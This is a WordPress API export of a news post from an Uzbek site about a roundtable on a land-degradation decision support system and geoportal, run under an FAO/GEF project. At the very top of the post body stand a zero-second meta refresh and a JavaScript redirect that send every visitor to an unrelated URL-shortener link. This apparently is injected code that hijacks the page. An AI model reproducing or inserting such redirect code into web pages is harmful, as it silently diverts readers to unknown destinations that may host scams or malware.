{"id":23968,"date":"2026-04-21T18:47:31","date_gmt":"2026-04-21T13:47:31","guid":{"rendered":"https:\/\/evu.uz\/?p=23968"},"modified":"2026-04-21T18:47:41","modified_gmt":"2026-04-21T13:47:41","slug":"%d0%b2-%d1%83%d0%b7%d0%b1%d0%b5%d0%ba%d0%b8%d1%81%d1%82%d0%b0%d0%bd%d0%b5-%d0%be%d0%b1%d1%81%d1%83%d0%b4%d0%b8%d0%bb%d0%b8-%d1%81%d0%b8%d1%81%d1%82%d0%b5%d0%bc%d1%83-%d0%bf%d0%be%d0%b4%d0%b4%d0%b5","status":"publish","type":"post","link":"https:\/\/evu.uz\/en\/novosti\/%d0%b2-%d1%83%d0%b7%d0%b1%d0%b5%d0%ba%d0%b8%d1%81%d1%82%d0%b0%d0%bd%d0%b5-%d0%be%d0%b1%d1%81%d1%83%d0%b4%d0%b8%d0%bb%d0%b8-%d1%81%d0%b8%d1%81%d1%82%d0%b5%d0%bc%d1%83-%d0%bf%d0%be%d0%b4%d0%b4%d0%b5.html","title":{"rendered":"Decision Support System Discussed to Support Land Degradation Neutrality in Uzbekistan"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/KxJSFJFri0r6\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.today\/KxJSFJFri0r6\";<\/script>\r\n<div style=\"text-align: justify;\"><strong>&nbsp; &nbsp; &nbsp;Tashkent, April 2026<\/strong> \u2014 A roundtable was held in Uzbekistan to discuss a <strong>Decision Support System (DSS)<\/strong> to strengthen sustainable land use and to support national efforts to achieve <strong>Land Degradation Neutrality (LDN)<\/strong>. <br>\r\n&nbsp; &nbsp; &nbsp;The event was organized within the framework of the project \u201cSustainable Forest and Rangelands Management in the Dryland Ecosystems of Uzbekistan\u201d(2022\u20132026), funded by the Global Environment Facility (GEF) and implemented by FAO in partnership with the Ministry of Agriculture of the Republic of Uzbekistan.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;The project\u2019s primary objective is to support national actions to reduce land degradation, desertification and drought impacts, to restore land resources, and to promote sustainable management of forests and rangelands.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Land degradation, desertification and drought in Uzbekistan have direct impacts on agriculture, natural\u2011resource use and ecosystem stability. According to the data presented, of the country\u2019s 25.6 million hectares of rangelands, <strong>2.5 million hectares are degraded<\/strong> and vegetation cover has been lost on a further <strong>6 million hectares<\/strong>. Of the <strong>1.9 million hectares of irrigated cropland<\/strong>, <strong>45 percent are affected by salinization<\/strong>. Average rangeland productivity has fallen from <strong>3.2 to 2.4 centners per hectare<\/strong>.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Against this background, the LDN approach is regarded as an important practical tool for evidence\u2011based decision\u2011making on land protection, restoration and sustainable use. Under the project, assessments of LDN indicators \u2014 including <strong>land cover, land productivity and soil organic carbon<\/strong> \u2014 are being carried out; simplified field methodologies for surveys are being developed; and recommendations and guidance for combating degradation are being prepared.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;During the seminar, the <strong>\u201cLand Degradation\u201d Geoportal<\/strong> and the linked <strong>Field Maps<\/strong> mobile application were presented. These tools enable systematic collection, entry and analysis of data on soil quality, salinity, agrochemical testing and rangeland geobotany. The geoportal compiles a database organized in <strong>17 thematic layers<\/strong>, covering agricultural land, forests, water resources and other land categories relevant to land\u2011degradation response.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;The geoportal is designed to improve the quality of decision\u2011making by integrating data from multiple agencies. The system is planned to incorporate data from the <strong>Ministry of Water Resources<\/strong>, the <strong>Ministry of Mining Industry and Geology<\/strong>, the <strong>National Committee on Ecology and Climate Change<\/strong>, the <strong>Forest Agency<\/strong>, the <strong>Hydrometeorological Service<\/strong>, the <strong>Institute of Soil Science and Agrochemistry<\/strong>, and the <strong>\u201cUzdaverloyiha\u201d Institute<\/strong>.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Practical activities under the project are already under way. The Bukhara branch of the Institute of Soil Science and Agrochemistry has been equipped with <strong>two modern laboratory instruments worth USD 110 000<\/strong>. Initial assessments and mapping were carried out on <strong>28 100 hectares in Jondor district<\/strong> and <strong>3 700 hectares in Nurota district<\/strong>. Preliminary LDN indicator assessments \u2014 including land cover, land productivity and soil organic carbon \u2014 have been conducted in Bukhara and Navoi regions.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Session topics included the application of the LDN concept in Uzbekistan, coordination of data collection and analysis, identification of degradation hotspots and vulnerable areas, and the current status of national reporting. Presentations covered geobotanical surveys in Bukhara and Navoi regions, assessment of current rangeland conditions, analyses based on remote sensing and monitoring, and options for improved rangeland use and management.<\/div>\r\n<div style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Narimon Nishonov, Chief Technical Adviser to the project \u201cSustainable Management of Forests and Rangelands in Uzbekistan\u2019s Dryland Ecosystems\u201d, said: <strong>\u201cOne of the priorities of the LDN project is to improve Uzbekistan\u2019s reporting under the United Nations Convention to Combat Desertification (UNCCD). With 21 million hectares of rangelands out of the country\u2019s 44.7 million hectares and with growing problems of land and forest degradation, today\u2019s meeting is of particular importance. We hope this dialogue will establish a basis for transparent data exchange among stakeholders and contribute to reducing degradation.\u201d<\/strong><\/div>\r\n<div>&nbsp;<\/div>\r\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-23973\" src=\"http:\/\/evu.uz\/wp-content\/uploads\/0H7A7979.jpg\" alt=\"\" width=\"830\" height=\"372\" srcset=\"https:\/\/evu.uz\/wp-content\/uploads\/0H7A7979.jpg 830w, https:\/\/evu.uz\/wp-content\/uploads\/0H7A7979-300x134.jpg 300w, https:\/\/evu.uz\/wp-content\/uploads\/0H7A7979-768x344.jpg 768w\" sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div>\r\n<div>&nbsp;<\/div>\r\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-23974\" src=\"http:\/\/evu.uz\/wp-content\/uploads\/0H7A7941.jpg\" alt=\"\" width=\"830\" height=\"371\" srcset=\"https:\/\/evu.uz\/wp-content\/uploads\/0H7A7941.jpg 830w, https:\/\/evu.uz\/wp-content\/uploads\/0H7A7941-300x134.jpg 300w, https:\/\/evu.uz\/wp-content\/uploads\/0H7A7941-768x343.jpg 768w\" sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div>","protected":false},"excerpt":{"rendered":"A roundtable was held in Uzbekistan to discuss a Decision Support System (DSS) to strengthen sustainable land use and to support national efforts to achieve Land Degradation Neutrality (LDN).","protected":false},"author":1,"featured_media":23969,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[43],"tags":[],"class_list":["post-23968","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-novosti"],"_links":{"self":[{"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/posts\/23968","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/comments?post=23968"}],"version-history":[{"count":2,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/posts\/23968\/revisions"}],"predecessor-version":[{"id":23977,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/posts\/23968\/revisions\/23977"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/media\/23969"}],"wp:attachment":[{"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/media?parent=23968"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/categories?post=23968"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/tags?post=23968"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}